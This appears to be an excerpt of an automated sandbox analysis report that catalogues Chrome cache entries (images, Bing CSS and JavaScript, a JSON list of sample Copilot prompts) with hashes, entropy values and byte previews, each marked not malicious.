SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	unknown
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 508

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1586
Entropy (8bit):	4.759524541379981
Encrypted:	false
SSDEEP:	12:6v/72+tczxWMCpzJtYO0CIp+oPw3vRDzkFVhFYb9GOEERx9c9R7xDUN2tFmF+dhl:H+axWMCpNtYO0BzOsRQGOLRxa9Rp3AM
MD5:	33A3AA256A221F7226634DF7FE5D8B85
SHA1:	1FD09D9FBF75D0E759BB98E3B200B9D0061E1DE0
SHA-256:	D03B69260B1029848E0C326C9FDACF9E359827CAB5E82735691F447C5EB3FF59
SHA-512:	928DFC67862D4A2C5D6482F2057AE190CF033DACF152550D58D9F4459D413131F688C5AFB23A6306F8C51A96A31DEAF67A60103DEF48AF8597DC056B542B2EC7
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx.m.KL.a...L.-..H..X..#...`..J ...h..HL....ZJ..-..Q....#a#.B......L.. .,}...zg..&v........S.<L ...XDbq`}.._..M..q...@.L.8.'u.\.(....7t.V...X^.0.....I4.D2`.._.`..DG]..m3. cXX.....K$....y.......],g......I..:1"..$..a.;/j.....P.......]&#RX.w.^.H8..H\.l..5..br...../.;..:..9...x.z.@....";p.. .L8.m.J.Z.v....N8.g_..0....s.......D:..r1....n..E\6......f.....q.......\^B^^..#\t..8.....z.0..4Z-...#77..K'M....bC,...I/....v.ce..{.Qr./,.......7..u{f.....Z-.u.'`_..g(...q..m)......r.D..?>...=3....j.J.[.o.\v.\....X...p>^.DYt..i...P......6^.y..Ql.N.nh.e.YP....q.J..%.....$....t.:8..Q..g#l'..G.AI.iG<HT...D..@...X:,..L..a.3.F)..4Y...z.E..'.B$.2q<..I$.}.$hI<...i.........Q Q.i......(. .......v.r.N.....(.....,8....IEND.B`................................................................................................................................................................................................

Chrome Cache Entry: 509

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	dropped
Size (bytes):	26332
Entropy (8bit):	7.970931002324184
Encrypted:	false
SSDEEP:	768:eeiI1Y/BABxzCJtsHxHLX/aW0yt48X2vUz/Cn:ehI1hrCJtmDXt4ZvSqn
MD5:	F075291E552DAE5CB0B8E9CA33EED67E
SHA1:	429EF4B8900850F63D19CA72A011610B25F1ECCB
SHA-256:	CDB89DC75D26E8128BBEAE1244685B848A975F08A431F51A700B38A50100C760
SHA-512:	92F72742B8CD90CC5FDE4C878050FAA78F810D9A918889E55F3438AC00020CA34FB39C7B6BA33E5BD19893ED4113CFE82AA42FCF4D88937CFA4CF07A3DC6A37B
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.......o....sQK....\|.0;..j?/...V...1..=Il....c&.?7..+..(.B.\|....jH.r. g.G.....I.)....m.\....F......c.H...<.z.c.2......'.2',H..^7...1....9.F#.oE.`I9oR3...;T..#[/.Q.....A.A..U....g.3Wt..eg..U.........pF.3...h(.T.O....5.K.c.X..9......c..,R..yw9T`A`H(.p........8.Zky473A.....J..........P.Z[X.........#.......A.w.m.*..cP.2...U.8>.~.]..".x.T....q.{r@..F._.. ....GC

Chrome Cache Entry: 510

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:07:31 17:58:04], progressive, precision 8, 160x160, components 3
Category:	downloaded
Size (bytes):	4409
Entropy (8bit):	7.661436320849241
Encrypted:	false
SSDEEP:	96:sZbhwhNizUZvpj+cq69L5CiYXL6UIwLxl3LeD:sWzj+cq615Te+Se
MD5:	A98A08BDB99B8422C9DC9D6FDD9387C3
SHA1:	967E5342AE802167DC06576E0E4FB96E76893296
SHA-256:	5FAB9EE214738E71D6C01392EBC7B1EEC09EF8E19CA508EF28154E3E7A769ACF
SHA-512:	660020F40078ADA6A3E3DB7B55063D3E3603F82CFBB3ACF81FE2DF53F23064414C78DAF8657C6E556ADCC4D2034EC077F8C0B4A7720018E457DAFDEEF0323476
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/ln5TQq6AIWfcBlduDk-5bnaJMpY.jpg
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:07:31 17:58:04....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;.............................................................................................. (... ....@..........(.@..............(.................R. .......................f.....#x.....6.9.]...f............\|:......b...=....M}.}3/...H..{},k...x..`B.....z........y..9.yv.....9....>n...f...W......ug'.x..6:-3.a.iaHB.@.T.. .Q.@.)A.....At`..(..X!..0t).H...........s.uR6E.J.K9.@*.$.Es....&.........................!.. "A$10Bp.............o.wb.H2......p....H..m....ez.5.5....L.%.i....'..).s....$..q...E.....yxe-d<.VI...<s.~K....4.o.?.y.NY3r1..5...M9F..^Q...y..........>$.&r.g ..MK.qe....5.......~!.....\.&\|....!5...`9.)F.R;.fY.%.&.={..R.A.....>.y....E.Q._....<.\|_...J.....z&_

Chrome Cache Entry: 511

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:07:31 17:51:08], progressive, precision 8, 160x158, components 3
Category:	dropped
Size (bytes):	4547
Entropy (8bit):	7.735536921390623
Encrypted:	false
SSDEEP:	96:ssb41dk9JozAQ8d2SuBK76KrZDoDBtnFKiDo8TzNnNJSHvLPS:sj1eozAQ8d2VPGoBBFfM4fJSHDPS
MD5:	7AEF4CCF6E47B9BA038365CD3D1F5693
SHA1:	71F7957F6FAE574854A374E84DB2E3CEDBA89969
SHA-256:	08102BA7A0388B1AFC9A351B3387B2DDEDA846551303170E0273B2F305AECCB2
SHA-512:	29AC1E6BADF62C61B4FA889EA1B0436D3B9107A60BA03801DFA8E23A4D8BCCF42C09BB7CC7E6CD9FACB8D140DB7E0D4F0EEB3D7D8A3B9B38B1D2B95113005320
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:07:31 17:51:08....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;...........................................................................................VQJ,..R...)..(..R..d.Y@...h..%(.AW(T.)...5.,.%.2[.."!l...Z......@I..T.......@3.@....D@ ..l.)E.P....ts......@... E".W/G...........IQ..I\|../.,..W..(....WY.1<.t..=....K...C....-.1..s.[l...^].mO7\|..:.kda5....o.=.S.8.;....~e,.......1v..~5.:s'$..u.i..k.7._E25...f6v..Nk.&)....S.r...ovn5...k9k...u.D...f&.......e.+.7......d..7K.R]..f..K..l...r....K.b..s29...y;..U.E(.qH....,....QS%..@....'......................... !."1.#$0@.`............R.J..e~...+.J.....y..7#..^....,.....@.3..`.....L...[u.!.../...;[7.,...a....[._W...B;.....4g+../c..>g...!..U..Q...0...$..F%...u\|.2?.V.>.v..2.2.S.c..km)

Chrome Cache Entry: 512

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10033), with CRLF line terminators
Category:	dropped
Size (bytes):	12933
Entropy (8bit):	5.214423450434363
Encrypted:	false
SSDEEP:	192:VbgMOzLnhnvZ1czzHT3L0SKZp2NbltyQEZxAk/MI7hBMDIkFi2o6XJalZW:9OZrSzz3wp0OxAmJjEl
MD5:	3E1CD65B12888A023F899069EB6FD830
SHA1:	5DC4BB155BEB355755C78FA0D991C45696497794
SHA-256:	B8BB4D94B0FCFECEAE541A257DEA9BC8F598C2E008BEB857274607868BA3FB10
SHA-512:	4EBCDE6C74FD61AD31560DEE7014EEC65B7618D53572C615CFD77F1D3B7F485D3FF95C0B3F5AA52CBB1EEE41F6A23F5253B076CF2C032FD5284C6B63BF64D4B4
Malicious:	false
Reputation:	unknown
Preview:	0;..;..!function(n,l){"object"==typeof exports&&"undefined"!=typeof module?l(exports):"function"==typeof define&&define.amd?define(["exports"],l):l(n.preact=n.preact\|\|{})}(this,function(n){if(n.render){return;} var l,u,i,t,o,f,r,e={},c=[],s=/acit\|ex(?:s\|g\|n\|p\|$)\|rph\|grid\|ows\|mnc\|ntw\|ine[ch]\|zoo\|^ord\|itera/i;function a(n,l){for(var u in l)n[u]=l[u];return n}function v(n){var l=n.parentNode;l&&l.removeChild(n)}function h(n,l,u){var i,t,o,f=arguments,r={};for(o in l)"key"==o?i=l[o]:"ref"==o?t=l[o]:r[o]=l[o];if(arguments.length>3)for(u=[u],o=3;o<arguments.length;o++)u.push(f[o]);if(null!=u&&(r.children=u),"function"==typeof n&&null!=n.defaultProps)for(o in n.defaultProps)void 0===r[o]&&(r[o]=n.defaultProps[o]);return y(n,r,i,t,null)}function y(n,u,i,t,o){var f={type:n,props:u,key:i,ref:t,__k:null,__:null,__b:0,__e:null,__d:void 0,__c:null,constructor:void 0,__v:o};return null==o&&(f.__v=f),null!=l.vnode&&l.vnode(f),f}function p(n){return n.children}function d(n,l){this.props=n,this.context

Chrome Cache Entry: 513

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (824), with no line terminators
Category:	downloaded
Size (bytes):	824
Entropy (8bit):	4.9031871499321165
Encrypted:	false
SSDEEP:	12:gsDJ9dOk7xQXcTW54Xc6yMcS2WUAPXc/GIu31VkeejPX8Pp:gsDJnfFQXcc4Xc81cuIaVkegPX8Pp
MD5:	6D94F94BFB17721A8DA8B53731EB0601
SHA1:	AE540DB8D146E17CFC3D09D46B31BD16B3308A6D
SHA-256:	21829C74FCE2C9BBBB3099A7A487DE71465ED712410C32BC6C69884DB07A90DD
SHA-512:	BF33FB4858B56F888108BCD5C2691613B68715E260E59C1E37A050A709BE04A8E0EAF5509667183A0D51F1201E58C02DF4F744A0772242EE5B61595C44C072E7
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/rlQNuNFG4Xz8PQnUazG9FrMwim0.css
Preview:	#rewardsPanelContainer{position:fixed;top:0;right:0;width:376px;height:100vh;z-index:1100;box-shadow:0 0 0 1px #0000000d,0 0 0 2px #0000001a}#rewardsPanelContainer.darkMode{background:#11100f;color:#edebe9}#rewardsPanelContainer.b_hide{display:none}#rewardsPanelContainer #panelFlyout{width:102%;height:100%;border:none}#rewardsPanelContainer #panelHeader{background:#fff;padding:15px;display:none;text-align:center;justify-content:space-between;border-bottom:1px solid #ccc}#rewardsPanelContainer #panelHeader .title{font-weight:500;font-size:20px;line-height:22px;display:flex;align-items:center}#rewardsPanelContainer #closeRewardsPanel{position:absolute;right:15px;width:12px;height:12px;padding:8px;top:13px}#rewardsPanelContainer #closeRewardsPanel:hover,#rewardsPanelContainer #closeRewardsPanel:focus{cursor:pointer}

Chrome Cache Entry: 514

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1757
Entropy (8bit):	4.956606686789564
Encrypted:	false
SSDEEP:	24:YnaQjpLWkJIAISY3LIaQRWgsAISWqakTFGIaQk9I7oAISql5qrIaQG+lWGiAISqW:YhKkJI+Y3L1gs+NT0pL+qiZAWGi+qapr
MD5:	01295D94205C804F72193C9C1E5D4D68
SHA1:	6310BBB55CFB7B54DB62F58E89A1E2132EEF3E36
SHA-256:	2C529699C27C0F49C115B504571099D3BD5A90F568AA6E7411DAA3CD4A2EB584
SHA-512:	810B1A96A1B0068F1A8F39DCA6BD3D78959D54BC830DDAD7A75815E02F7D00BD275B80CDF4D899E1B07845025DB1D480AEBB070A6DC45B5524C4F6F88038321B
Malicious:	false
Reputation:	unknown
Preview:	{"title":"","data":[{"clickThroughUrl":"https://www.bing.com/search?iscopilotedu=1&sendquery=1&q=Write%20code%20for%20a%20linked%20list%20structure%20in%20C%20with%20functionalities%20to%20add%2C%20delete%2C%20and%20find%20nodes","fullText":null,"imageUrl":null,"modifiedBy":null,"modifiedTimestamp":0,"prompt":"","promptIconUrl":null,"promptSubtitle":null,"query":"Write code for a linked list structure in C with functionalities to add, delete, and find nodes","response":null,"type":0,"category":null},{"clickThroughUrl":"https://www.bing.com/search?iscopilotedu=1&sendquery=1&q=Calculate%20my%20energy%20bill%20if%20I%20switched%20from%20gas%20to%20electric","fullText":null,"imageUrl":null,"modifiedBy":null,"modifiedTimestamp":0,"prompt":"","promptIconUrl":null,"promptSubtitle":null,"query":"Calculate my energy bill if I switched from gas to electric","response":null,"type":0,"category":null},{"clickThroughUrl":"https://www.bing.com/search?iscopilotedu=1&sendquery=1&q=Organize%20the%20last

Chrome Cache Entry: 515

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	dropped
Size (bytes):	6045
Entropy (8bit):	7.92160570015199
Encrypted:	false
SSDEEP:	96:8zgEpu9DiamTn5V+eddM6ynOL2bViNDvs0HnIfZR+:ygEu9D0TneeddM6yOL2oNI0HnIn+
MD5:	E8ED8A28378E8F0AF02EA8C7D6F981BE
SHA1:	44BBE8FA4B341E9B4AA5DAE194303060907DCA81
SHA-256:	D5B76CE92AC8817725830F102B36D07FCAF6A723CCA55729A773644B5428EF85
SHA-512:	41D7F07CBED84344FE7A6AE6835A84F3A6671A07C0326D10640537C1647098DB7102C6E07FAE53D91204953B39F1752F07592844ACD0CAD3DB02E2E09CE80ABA
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..O....\.4.T.....7......O....w......wp.8.Y....Ab.........-.V...t...kw.,..4.......A:....0TV;.6p:..._We.dh8.E3...#.dn.#.+{.~8.....[.)e..........&...7Ok<s.........h.Y?./...a.8.q....J...Aj..Vz..m+...'...*YH.....}sO\|..D..W.+.i.>n~..#w.pT.R.:....{..>..?{d...<...Nndc..\|......T_.I..(A..S .Dc_2)`.GB85.6...i.ay.^\.#nX&..T....J.X6...(......{..&@.y5.os...D...G..%..

Chrome Cache Entry: 516

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	dropped
Size (bytes):	5125
Entropy (8bit):	7.920185213246574
Encrypted:	false
SSDEEP:	96:8zgEmDqVpTtrJz4BgFVHuMho/fGQDBYF10bMaJFsBd5tWgt1b:yg7Dqvf4BgbHuMGf+1isr5tb1b
MD5:	94E93256E82CF1BF7F7F3F75CB330B17
SHA1:	E2A7B8EA4B1CB157FFEEFFFC6F128A8F71DED395
SHA-256:	FD75FEADAFDFB41457754E037C26B5AC8F8A141501AC885FF9DFC8185B2A8F14
SHA-512:	A2B1B1ECC3EACA67678C2B08B8D506672C50740EFC0E221D62E0557E131EA42ED6B6BEF331EE771E2FCAD46C4AB16E6946104324C22DFD1743006A31B8287F41
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..p).T.7p...X.{...y=K..l..{...Lnl...<.W...;YnI.1N.F......................4........=.H'f.T.%u...qF+...x.......v.....Q~f....^s/.^.Q......`...h....Q...\..=.4.k.\|#..z...4.....I.'.)...zz2.....A...M14..J.L".#.a........o......e\|.HK..c...A.N:{...?..j......}3g.\.Q.\|..Rn..$.<._....n#.w1i..y[.1.....l.L.....x.7......T. q..^..\|3..M.5......`?.....46q...`.8S.#.^&

Chrome Cache Entry: 517

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (328), with no line terminators
Category:	downloaded
Size (bytes):	328
Entropy (8bit):	4.873055432724158
Encrypted:	false
SSDEEP:	6:qLYyKBrT1rDvMhkXkJGf9FM/fwT0EqeGXGQW4RiXUqkvJOyEFnVQE4MDUKOKHsM:yWFBb3yG3cJO1Vi5rgsM
MD5:	CDDDAB121EB434876615391AD4107B9A
SHA1:	8038444C80B8E76DDF8AE5C00AB5784207E5AEFF
SHA-256:	243D212A9FF764CCDA9B19C3C823B2F408A0718E56A3E7A8B5B533E108DB56CB
SHA-512:	1964D190BF10B9D686626097188B6D0B2A02C0039993D97A135355D8A44399DED3D42465D1EDC7B55287AA9380835373FD921C00CF92CE234CCE92B0C2453084
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/gDhETIC4523fiuXACrV4Qgflrv8.js
Preview:	var BingAtWork;(function(n){var t;(function(n){function t(t){t.isAuthenticated&&n.raiseAuthEventAndLog(t)}function i(n){n&&n.length==2&&t(n[1])}n.bindToConditionalSignIn=function(){sj_evt.bind("ssofirstquery",function(n){return i(n)},!0,null,!1)}})(t=n.ConditionalSignIn\|\|(n.ConditionalSignIn={}))})(BingAtWork\|\|(BingAtWork={}))

Chrome Cache Entry: 518

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	671
Entropy (8bit):	5.014579690661168
Encrypted:	false
SSDEEP:	12:tbH4/KYf3UnlcWYl7qy/gk63xsV8tGXcqecDDWUV8jEPsycd23Wt+MKsAnueOc+d:t74LfEnTYpq+gTxs6GUUQEPssmYsAnuH
MD5:	D9ED1A42342F37695571419070F8E818
SHA1:	7DD559538B6D6F0F0D0D19BA1F7239056DFFBC2A
SHA-256:	0C1E2169110DD2B16F43A9BC2621B78CC55423D769B0716EDAA24F95E8C2E9FE
SHA-512:	67F0BC641D78D5C12671FDD418D541F70517C3CA72C7B4682E7CAC80ABE6730A60D7C3C9778095AAB02C1BA43C8DD4038F48A1A17DA6A5E6C5189B30CA19A115
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/fdVZU4ttbw8NDRm6H3I5BW3_vCo.svg
Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... viewBox="0 0 16 16" enable-background="new 0 0 16 16" xml:space="preserve">..<path fill="#919191" d="M15.707,0.293c-0.391-0.391-1.024-0.391-1.415,0L7.994,6.591L1.696,0.293C1.298-0.091,0.665-0.08,0.281,0.318...c-0.375,0.388-0.375,1.003,0,1.391l6.298,6.298l-6.298,6.298c-0.384,0.398-0.373,1.031,0.025,1.415c0.388,0.375,1.003,0.375,1.391,0...l6.298-6.298l6.298,6.298c0.398,0.384,1.031,0.373,1.415-0.025c0.375-0.388,0.375-1.003,0-1.39L9.409,8.006l6.298-6.298...C16.098,1.317,16.098,0.684,15.707,0.293z"/>..<path fill="none" d="M0,0h16v16H0V0z"/>..</svg>..

Chrome Cache Entry: 519

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (520), with no line terminators
Category:	dropped
Size (bytes):	520
Entropy (8bit):	5.271876799734874
Encrypted:	false
SSDEEP:	12:hc2AcSdEcvZswcAIly1YkOcAwI98NyeTg2TQHYN:hc2AcSSwDcr98XhuYN
MD5:	F03CFEE55A7F1E0B91DD062A5654FC3D
SHA1:	57D2DB8B8AC66A403E3A3C1C2DCA21E63AF5CDF6
SHA-256:	39477BAE95EE7073936851A67106A42F585454EBD6C4FEADEACC818C52DA49A4
SHA-512:	7E66C667FD3F0B1C91296011D7E382776F12905F12C25CCAD4710459FA1E595D2D4A3626C3E969AC1B1575ADD0839EC09CE211B59C694FDBB34D7E5F6D3A5950
Malicious:	false
Reputation:	unknown
Preview:	var sj_rra=function(n){var i="/rewardsapp/reportActivity",u=_w.location.search.substring(1),r=window.data_iid,t,f;i+=r&&r.length>0?"?IG="+_G.IG+"&IID="+r+"&"+u:"?"+u;_w._H&&_w._H.mkt&&(i+="&src=hp");t=sj_gx();f="url="+escape(n)+"&V=web";t.open("POST",i,!0);t.setRequestHeader("Content-type","application/x-www-form-urlencoded");t.onreadystatechange=function(){t&&t.readyState==4&&t.status==200&&t.responseText&&_w.sj_appHTML&&(sj_appHTML(sj_b,t.responseText),sj_evt&&sj_evt.fire("serpThemeUpdatedByRewards"))};t.send(f)}

Chrome Cache Entry: 520

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (924), with no line terminators
Category:	downloaded
Size (bytes):	924
Entropy (8bit):	5.195012633286773
Encrypted:	false
SSDEEP:	24:rVnoyfEzPHQFvG99rynERM93YGxSN+/sKE3p5vyNAM:rVnoyCkKgnCM9eBKE55vyj
MD5:	47442E8D5838BAAA640A856F98E40DC6
SHA1:	54C60CAD77926723975B92D09FE79D7BEFF58D99
SHA-256:	15ED1579BCCF1571A7D8B888226E9FE455ACA5628684419D1A18F7CDA68AF89E
SHA-512:	87C849283248BAF779FAAB7BDE1077A39274DA88BEA3A6F8E1513CB8DCD24A8C465BF431AEE9D655B4E4802E62564D020F0BB1271FB331074D2EC62FC8D08F63
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/VMYMrXeSZyOXW5LQn-ede-_1jZk.js
Preview:	var __spreadArray=this&&this.__spreadArray\|\|function(n,t,i){if(i\|\|arguments.length===2)for(var r=0,f=t.length,u;r<f;r++)!u&&r in t\|\|(u\|\|(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return n.concat(u\|\|Array.prototype.slice.call(t))};(function(){function n(n){for(var r=[],i=1;i<arguments.length;i++)r[i-1]=arguments[i]}function u(n,t){for(var u=[],r=2;r<arguments.length;r++)u[r-2]=arguments[r];typeof Log!="undefined"&&Log&&Log.Log&&Log.Log.apply(Log,__spreadArray([i,n,t,!1],u,!1))}var t="acclink",i="acclink";if(sj_evt){sj_evt.bind("acclink:updated",function(t){if(t&&t.length>=2){var i=t[1],f=i.IsTenantAllowAccountLink,e=i.HasLinkedAccount;n("fire loadIdLinkIcon with acclink:updated ",t[1]);r(f,e);u("loadIdLinkIcon","load IdLinkIcon","params",t[1])}},1);function r(t,i){var r=_ge("id_linkicon");r&&(t&&i?(r.style.display="inline-block",n("show id link icon")):(r.style.display="none",n("hide id link icon")))}}})()

Chrome Cache Entry: 521

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	242
Entropy (8bit):	4.86807996961474
Encrypted:	false
SSDEEP:	6:A909cpDUDUBDhR9c2p83QVhXANO09c8k9Au9c2pHn:AocpwDUBhfc2W3YXANvcpiMc2Bn
MD5:	6C2C6DB3832D53062D303CDFF5E2BD30
SHA1:	B7A064A64CEAE5C9009EF7D6D8F63B90D3933C9D
SHA-256:	06B77EE16A2CD34ACD210B4F2B6E423762EA8874BB26AE5A37DB9DD01A00FF70
SHA-512:	BC2D115B53035B700D727AF9D7EFAF32DD2A39A2344F3F5FA1A82586BE849EC7803E8320661E66AB7DD2A17E64B7897E95BBD84502B91997FA46EBA4E67E8C7D
Malicious:	false
Reputation:	unknown
Preview:	function RewardsReportActivity(n){window.sj_rra&&sj_rra(n)}(function(){RewardsReportActivity(document.URL);sj_evt&&sj_evt.bind("acclink:updated",function(){typeof RewardsReportActivity!="undefined"&&RewardsReportActivity(document.URL)},1)})()

Chrome Cache Entry: 522

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	downloaded
Size (bytes):	27291
Entropy (8bit):	7.956761061084078
Encrypted:	false
SSDEEP:	768:eHJnNWO57hcmn3jUfatBvZ5UhSC7O1XeS41BYcGW0dIQVoj:eHJp57hl86BvZIe1uSAbfrvj
MD5:	0F5F23C7B034081E21EC6C6A720F0A63
SHA1:	BD1072A994C22352C79DA8713F79A76CBA476F88
SHA-256:	E0DD09F838E753F944D380414566CB2C6282ED0355E76D647CFD0134C2CC32AB
SHA-512:	AADDBEB21D0A2624C7132155D22669AE470F106454AA229ACC6549A9A0EF546A685E7D7F8D4CB07AEF94588D8FE292B23C0F14F8A8B12A0DE25C800A49BB9CA6
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=ORMS.712ea811a8f377b1c5d92940d5d5f712&pid=Wdp&w=300&h=225&qlt=90&c=1&rs=1
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....!Q....l..O.....u".<.X...y.....#.^u.QNa......7h.{(-.........8........O.W......e.....}..0q....{&.z.}.;..n...v....b......O.....H.w...+.\|+.B.j...E..h....Y....!~Q...1...%.+.....?....7.U..i/.a...-c3\..mX.$.....z.=....G.......=......M.E......p:S...]..:l.:}.I.]..o.+...n...gs.Nq.v.E.....O.........Y-!.I..e..V.....s.6.<}..<.......7......8..bI$..z...Rt

Chrome Cache Entry: 523

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	downloaded
Size (bytes):	24024
Entropy (8bit):	7.966844333163851
Encrypted:	false
SSDEEP:	384:eMdwk5XFqt9lvGnzxoSI2PtLSOdIOQFn//OKV8V+uK8YsuWLRyJ2:eMd151qtqzx3HkB/OKV8VL+BW0J2
MD5:	7F1C78F2CD6FB2C6328B4B08C4D59D0C
SHA1:	2E9129872556B279C09322419B556E21C93482CC
SHA-256:	CA4E4F8A09800325AFD2D53965371F283B0F66F8A2EF6D24AEF235B4BD70DDBD
SHA-512:	36197A3F6EBA8CE4ADA0A8A8D71338DAF732C89EA1EB90B8A180185309F861AEF82AACCC0A9DFDCEF27AC5DDFD460F5DBA03D1456E4051D5372AAE9C00FC0970
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=ORMS.b9cdb3444a44a22086f9421426a5b0a7&pid=Wdp&w=300&h=225&qlt=90&c=1&rs=1
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....h...bQ......o.. ...8d..f.o...W...H.........s_.....q.X.H.l(.j.....d\|S........k.*.....k.G...wFt.b.]...q...`...sG..Kh.....\|W.....o..m..Eq..H#[...[.!]O#88<.(vkA..;3.;...YT.X.....I.P..][.{+.&&'i/......A..8...7.:..k&h.......c....k7.:.6,.U}....]A.v..>.`...............#.D....U.F..aSF..d...dn.vx=8=..G3..ix.;q.Oj.._..s.g.OL.S...a..H..`.x#.>\....\.@8..4..l....%?).q.

Chrome Cache Entry: 524

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	581
Entropy (8bit):	4.460231157732567
Encrypted:	false
SSDEEP:	12:trZvnltuIvsbhdMLPI7eoxnoFWlW9iVSLS0EwNL4RKFz:tVvnjuRuTUCd9iP7wNLuKFz
MD5:	C86E4BDE4AF4415501A5E317ED8E28CD
SHA1:	B89F766A58D8F3EA9F794636FC147E85AA4428E2
SHA-256:	93F814F19D1E28C1B94F11A1B17754FAF4776B910BA693593490FE220B389AA1
SHA-512:	807E5FECF4CA2F8C941F6E63805037C41DA02118F63C80129EC777634E2B063B407E92C2870107EE47130F27CF71509D726E1474556FDEB070D1E887178457C1
Malicious:	false
Reputation:	unknown
